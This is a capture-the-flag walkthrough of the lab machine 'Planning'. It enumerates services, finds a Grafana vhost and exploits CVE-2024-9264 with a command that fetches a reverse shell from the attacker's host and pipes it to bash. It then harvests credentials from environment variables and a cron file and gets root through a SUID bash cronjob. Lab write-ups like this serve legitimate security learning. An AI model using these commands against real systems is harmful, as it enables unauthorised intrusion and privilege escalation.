Machine Card showing Planning as an easy Linux machine

Reconnaissance

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 62:ff:f6:d4:57:88:05:ad:f4:d3:de:5b:9b:f8:50:f1 (ECDSA)
|_  256 4c:ce:7d:5c:fb:2d:a0:9e:9f:bd:f5:5c:5e:61:50:8a (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://planning.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Besides the usual SSH port there’s only a web server running on port 80. Before having a look I add planning.htb to my /etc/hosts file.

Initial Access

Info

As is common in real life pentests, you will start the Planning box with credentials for the following account: admin:0D5oT70Fq13EvB5r

Education courses from Edukate

The page available on http://planning.htb shows different courses for online education. Even though it lists four different courses, all of them display the same details and trying to enroll expects some information but does not seem to lead anywhere. The same applies to the non-functioning contact form.

Whenever I see virtual host based routing I try and check for additional vhosts with ffuf. Usually I’ll try different lists from SecLists and this time using dns-Jhaddix.txt results in the discovery of the grafana subdomain. I’ll add this to my hosts file alongside the base domain.

$ ffuf -H 'Host: FUZZ.planning.htb' \
       -w /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt \
       -u http://planning.htb \
       -fs 178
 
        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://planning.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/dns-Jhaddix.txt
 :: Header           : Host: FUZZ.planning.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________
 
grafana                 [Status: 302, Size: 29, Words: 2, Lines: 3, Duration: 49ms]

The login prompt to Grafana on grafana.planning.htb lists the version v11.0.0 and trying the credentials, that were provided to me, let me login.

Login prompt to Grafana lists version 11.0.0

A quick search for known vulnerabilities in this version finds a proof-of-concept for CVE-2024-9264 , a file read and remote code execution through the DuckDB used by Grafana. Running the PoC with whoami as command returns root so the exploit is working. Next I’ll retrieve a reverse shell from my web server and run it to get a shell as root.

$ python CVE-2024-9264.py -u admin \
                          -p '0D5oT70Fq13EvB5r' \
                          -c 'curl http://10.10.10.10/shell | bash' \
                          http://grafana.planning.htb
[+] Logged in as admin:0D5oT70Fq13EvB5r
[+] Executing command: curl http://10.10.10.10/shell | bash
⠧ Running duckdb query

The callback drops me into a Docker container and doing some basic enumeration quickly finds the password RioTecRANDEntANT! for user enzo in the environment variables. Those credentials also work for SSH to access the host system and collect the first flag.

$ env
SHELL=/usr/bin/bash
AWS_AUTH_SESSION_DURATION=15m
HOSTNAME=7ce659d667d7
PWD=/usr/share/grafana
AWS_AUTH_AssumeRoleEnabled=true
GF_PATHS_HOME=/usr/share/grafana
AWS_CW_LIST_METRICS_PAGE_LIMIT=500
HOME=/usr/share/grafana
TERM=xterm-256color
AWS_AUTH_EXTERNAL_ID=
SHLVL=3
GF_PATHS_PROVISIONING=/etc/grafana/provisioning
GF_SECURITY_ADMIN_PASSWORD=RioTecRANDEntANT!
GF_SECURITY_ADMIN_USER=enzo
GF_PATHS_DATA=/var/lib/grafana
GF_PATHS_LOGS=/var/log/grafana
PATH=/usr/local/bin:/usr/share/grafana/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
AWS_AUTH_AllowedAuthProviders=default,keys,credentials
GF_PATHS_PLUGINS=/var/lib/grafana/plugins
GF_PATHS_CONFIG=/etc/grafana/grafana.ini
_=/usr/bin/env

Privilege Escalation

Within the /opt directory I do find an interesting folder called crontabs with a single file. crontab.db is owned by root and was recently modified. It’s actually a JSON file that describes two cronjobs. The one called Grafana backup saves the Docker image for presumably Grafana to /var/backups and then zips the file with password P4ssw0rdS0pRi0T3c.

crontab.db
{"name":"Grafana backup","command":"/usr/bin/docker save root_grafana -o /var/backups/grafana.tar && /usr/bin/gzip /var/backups/grafana.tar && zip -P P4ssw0rdS0pRi0T3c /var/backups/grafana.tar.gz.zip /var/backups/grafana.tar.gz && rm /var/backups/grafana.tar.gz","schedule":"@daily","stopped":false,"timestamp":"Fri Feb 28 2025 20:36:23 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740774983276,"saved":false,"_id":"GTI22PpoJNtRKg0W"}
{"name":"Cleanup","command":"/root/scripts/cleanup.sh","schedule":"* * * * *","stopped":false,"timestamp":"Sat Mar 01 2025 17:15:09 GMT+0000 (Coordinated Universal Time)","logging":"false","mailing":{},"created":1740849309992,"saved":false,"_id":"gNIRXh1WIc9K7BYX"}

Since the file is owned by root I try those credentials to access the account but the password is not valid. Therefore I shift my focus back to the application that might ingest the JSON file.

Locally there’s port 8000 listening for new connections, but accessing the URL with curl just prints an 401 Unauthorized because it expects credentials through basic authentication.

$ curl -v http://127.0.0.1:8000
*   Trying 127.0.0.1:8000...
* Connected to 127.0.0.1 (127.0.0.1) port 8000
> GET / HTTP/1.1
> Host: 127.0.0.1:8000
> User-Agent: curl/8.5.0
> Accept: */*
> 
< HTTP/1.1 401 Unauthorized
< X-Powered-By: Express
< WWW-Authenticate: Basic realm="Restricted Area"
< Content-Type: text/html; charset=utf-8
< Content-Length: 0
< ETag: W/"0-2jmj7l5rSw0yVb/vlWAYkK/YBwk"
< Date: Sun, 11 May 2025 18:50:54 GMT
< Connection: keep-alive
< Keep-Alive: timeout=5
< 
* Connection #0 to host 127.0.0.1 left intact

In order to access the port from my local machine, I forward 8000 through the SSH session. Using the credentials root:P4ssw0rdS0pRi0T3c does work this time and I get access to Crontab UI, an easy and safe way to manage the crontab file according to the description.

Dashboard showing the two cronjobs from the JSON file

On the dashboard I can see the two cronjobs defined in the JSON file. The page also allows me to create my own cronjob, so I add one that copies the bash binary to the /tmp directory and then applies the SUID bit to it. After adding the new entry I click Run now to execute the job directly. Then I use the /tmp/bash -p to escalate my privileges and collect the final flag.

Adding a new cronjob via the web UI

Attack Path

flowchart TD

subgraph "Initial Access"
	A(Port 80) -->|vHost Fuzzing| B(Find grafana subdomain)
	B -->|CVE-2024-9264 with provided credentials| C(Shell as root in container)
	C -->|Credentials in environment| D(Shell as enzo)
end

subgraph "Privilege Escalation"
	D -->|Access to /opt/crontabs| E(Password)
	D -->|SSH Port Forward| F(Local Port 8000)
	E & F -->| Valid Credentials | G(Access to crontab-ui)
	G -->|New Cronjob| H(Shell as root)
end